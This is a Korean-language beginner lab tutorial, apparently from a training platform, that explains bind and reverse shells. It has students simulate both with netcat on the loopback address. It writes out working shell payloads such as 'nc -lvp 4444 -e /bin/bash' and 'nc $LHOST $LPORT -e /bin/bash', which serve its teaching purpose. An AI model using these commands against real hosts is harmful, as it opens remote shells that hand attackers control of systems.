Bind 및 Reverse Shell 페이로드

사이버 보안Beginner
지금 연습하기

소개

Bind 및 Reverse Shell 페이로드 실습에 오신 것을 환영합니다. 사이버 보안 분야에서 시스템에 대한 원격 액세스 권한을 얻는 것은 매우 기본적인 개념입니다. 이러한 액세스는 일반적으로 원격 시스템에 대한 명령줄 인터페이스를 제공하는 "셸 (Shell)"을 통해 이루어집니다.

이 연결을 설정하는 방법에는 Bind Shell 과 Reverse Shell 이라는 두 가지 주요 방식이 있습니다. 이 둘의 차이점을 이해하는 것은 공격 보안 (모의 해킹) 과 방어 보안 (방화벽 구성 및 사고 대응) 모두에 매우 중요합니다. 이번 실습에서는 네트워킹의 "맥가이버 칼"로 불리는 netcat을 사용하여 환경 내에서 두 가지 유형의 페이로드를 직접 시뮬레이션하고 상호 작용해 보겠습니다.

가장 중요한 차이점은 누가 연결을 시작하느냐입니다. 이 단 하나의 설계 선택이 어느 쪽이 연결 가능한 상태여야 하는지, 그리고 어떤 네트워크 제어 장치가 방해할 가능성이 높은지를 결정합니다.

페이로드 유형 이해하기

이 단계에서는 Bind Shell 과 Reverse Shell 의 이론적 차이점을 살펴보고 작업 환경을 준비합니다.

Bind Shell은 대상 시스템이 통신 포트를 열고 공격자가 연결하기를 기다리는 방식입니다. 클라이언트를 기다리는 서버와 비슷하다고 생각하면 됩니다. 대상은 특정 포트에 셸 (예: /bin/bash) 을 "바인딩 (bind)"합니다. 그러면 공격자가 해당 포트에 능동적으로 연결하여 제어권을 얻습니다. 이 방식은 방화벽이 일반적으로 예상치 못한 포트로 들어오는 연결을 차단하기 때문에 실제 환경에서는 실패하는 경우가 많습니다.

이 방식은 개념적으로는 간단하지만, 공격자가 대상의 새로운 리스닝 포트에 직접 접근할 수 있어야 한다는 전제가 필요하므로 운영상 취약합니다.

Reverse Shell은 그 반대입니다. 공격자가 자신의 컴퓨터에 통신 포트를 열고 기다립니다. 그러면 대상 시스템이 공격자의 컴퓨터로 다시 능동적으로 연결하도록 강제됩니다. 방화벽은 일반적으로 웹 브라우징과 같은 나가는 트래픽을 허용하기 때문에, Reverse Shell 은 네트워크 제한을 우회하는 데 훨씬 더 성공적입니다.

이것이 바로 Reverse Shell 이 실제 페이로드 설계에서 주류를 이루는 이유입니다. 즉, 외부 연결이 허용되는 일반적인 네트워크 정책과 더 잘 맞기 때문입니다.

이제 netcat 도구가 준비되었는지 확인해 보겠습니다. nc를 사용하여 셸을 생성할 것입니다. 다음 명령어를 실행하여 netcat의 도움말 메뉴를 확인하세요:

nc -h

-e 플래그가 포함된 다음과 유사한 출력이 표시되어야 합니다. -e 플래그는 연결이 설정된 후 프로그램 (예: bash 셸) 을 실행할 수 있게 해주므로 매우 중요합니다:

[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
...
        -e prog                 program to exec after connect [dangerous!!]
...

이해를 돕기 위해 프로젝트 디렉토리에 간단한 메모 파일을 만들어 보겠습니다. echo 명령어를 사용하여 payload_notes.txt라는 파일에 간단한 요약을 작성하세요:

echo "Bind Shell: Attacker connects to Target. Reverse Shell: Target connects to Attacker." > ~/project/payload_notes.txt

cat 명령어를 사용하여 새로 만든 파일의 내용을 확인할 수 있습니다:

cat ~/project/payload_notes.txt

Bind Shell 페이로드 구성

이 단계에서는 Bind Shell 을 구성하고 연결해 보겠습니다. 현재 컴퓨터에서 "대상 (target)"과 "공격자 (attacker)" 역할을 모두 시뮬레이션합니다.

먼저 대상을 설정해야 합니다. 대상은 netcat을 사용하여 특정 포트에서 대기하고 해당 포트에 bash 셸을 바인딩합니다. 포트 4444를 사용하겠습니다. 명령어 끝에 앰퍼샌드 &를 추가하여 백그라운드에서 실행함으로써 동일한 터미널을 계속 사용할 수 있도록 합니다.

다음 명령어를 실행하여 Bind Shell 리스너를 시작하세요:

nc -lvp 4444 -e /bin/bash &

이 명령어를 분석해 보겠습니다. -l 플래그는 인바운드 연결을 위한 리슨 모드로 설정하며, -v 플래그는 자세한 출력을 제공하는 verbose 모드를 활성화합니다. -p 4444 인수는 리슨할 로컬 포트를 4444 로 지정합니다. -e /bin/bash 매개변수는 연결이 이루어지는 즉시 bash 셸을 실행하므로 매우 중요합니다. 마지막으로 & 기호는 전체 프로세스를 백그라운드에서 실행합니다.

netcat이 리슨 중임을 나타내는 출력이 표시됩니다:

listening on [any] 4444 ...

이제 공격자 역할을 수행합니다. 대상의 열린 포트에 연결할 것입니다. 대상이 본인의 컴퓨터이므로 로컬 루프백 주소인 127.0.0.1에 연결합니다.

다음 명령어를 실행하여 Bind Shell 에 연결하세요:

nc 127.0.0.1 4444

연결 메시지가 표시됩니다. 이제 포트 4444 에 바인딩된 bash 셸과 상호 작용하고 있습니다. 터미널 프롬프트는 변경되지 않을 수 있지만, 입력하는 명령어는 이제 netcat 연결을 통해 실행됩니다.

간단한 명령어를 실행하여 액세스 권한을 확인해 보세요:

whoami

labex가 출력되어야 합니다. 이제 exit를 입력하여 bind shell 연결을 닫고 일반 터미널 세션으로 돌아갑니다:

exit

Reverse Shell 페이로드 구성

이 단계에서는 Reverse Shell 을 구성합니다. 이는 실제 환경에서 더 일반적이고 실용적인 방법입니다. 여기서는 공격자가 리스너를 설정하고, 대상이 공격자에게 다시 연결되는 페이로드를 실행합니다.

연결 흐름을 더 쉽게 이해하기 위해 이 단계에서는 두 개의 터미널 창이나 탭을 사용하세요. 터미널 1 은 공격자 역할을, 터미널 2 는 대상 역할을 합니다.

먼저 터미널 1에서 포트 5555에 공격자 리스너를 시작합니다:

nc -lvp 5555

리스너를 계속 실행해 두세요. 다음으로 터미널 2에서 대상 역할을 수행하고 reverse shell 페이로드를 실행합니다:

nc 127.0.0.1 5555 -e /bin/bash

두 번째 명령어가 실행되자마자 터미널 1 에는 대상으로부터의 연결 성공을 나타내는 출력이 표시됩니다:

listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348

성공적으로 reverse shell 을 획득했습니다! 대상이 리스닝 포트로 연결을 시도한 것입니다. 이전과 마찬가지로 이제 명령어를 실행할 수 있습니다.

현재 디렉토리의 내용을 나열하여 연결을 확인하세요:

ls

이전에 만든 payload_notes.txt 파일이 보여야 합니다. 완료되면 exit를 입력하여 reverse shell 연결을 닫습니다:

exit

로컬 리스너 설정 (LHOST/LPORT)

Metasploit 과 같은 전문 모의 해킹 프레임워크에서는 LHOST와 LPORT라는 용어를 자주 접하게 됩니다. LHOST(Local Host) 는 연결을 기다리는 공격자 컴퓨터의 IP 주소를 의미합니다. LPORT(Local Port) 는 들어오는 연결을 능동적으로 기다리는 공격자 컴퓨터의 특정 포트를 의미합니다.

이 단계에서는 Linux 환경 변수를 사용하여 이러한 값을 더 쉽게 재사용할 수 있도록 설정합니다. 다시 한번 두 개의 터미널 창이나 탭을 사용하여 공격자 리스너와 대상 페이로드를 분리하세요.

먼저 터미널 1에서 LHOST 변수를 정의합니다. 로컬에서 테스트 중이므로 루프백 주소를 사용합니다:

export LHOST=127.0.0.1

다음으로 LPORT 변수를 정의합니다. 마지막 연습을 위해 포트 6666을 사용하겠습니다:

export LPORT=6666

echo 명령어를 사용하여 이 변수들이 올바르게 설정되었는지 확인할 수 있습니다:

echo "Listening on IP: $LHOST and Port: $LPORT"

이제 터미널 1에서 리스너를 시작합니다:

nc -lvp $LPORT

그런 다음 터미널 2로 이동하여 동일한 변수를 정의합니다:

export LHOST=127.0.0.1
export LPORT=6666

해당 변수를 사용하여 터미널 2에서 reverse shell 페이로드를 실행합니다:

nc "$LHOST" "$LPORT" -e /bin/bash

터미널 1 로 돌아가면 포트 6666 에서 연결이 설정된 것을 볼 수 있습니다:

listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112

이제 동적 변수를 사용하여 reverse shell 을 통해 연결되었습니다. 확인을 위해 명령어를 실행해 보세요:

pwd

마지막으로 셸을 종료하여 연습을 완료합니다:

exit

요약

축하합니다! 이번 실습을 통해 Bind Shell 과 Reverse Shell 의 작동 원리를 성공적으로 살펴보았습니다. Bind Shell 은 공격자가 대상에 연결해야 하는 반면, Reverse Shell 은 대상이 공격자에게 다시 연결해야 하므로 방화벽에 대해 매우 효과적이라는 점을 배웠습니다. 또한 netcat을 사용하여 이러한 페이로드를 구성하는 방법을 연습하고, LHOST 및 LPORT 환경 변수를 활용하여 로컬 리스너를 동적으로 설정하는 방법도 익혔습니다. 이러한 기본 개념은 네트워크 보안과 페이로드 전달을 이해하는 데 필수적입니다.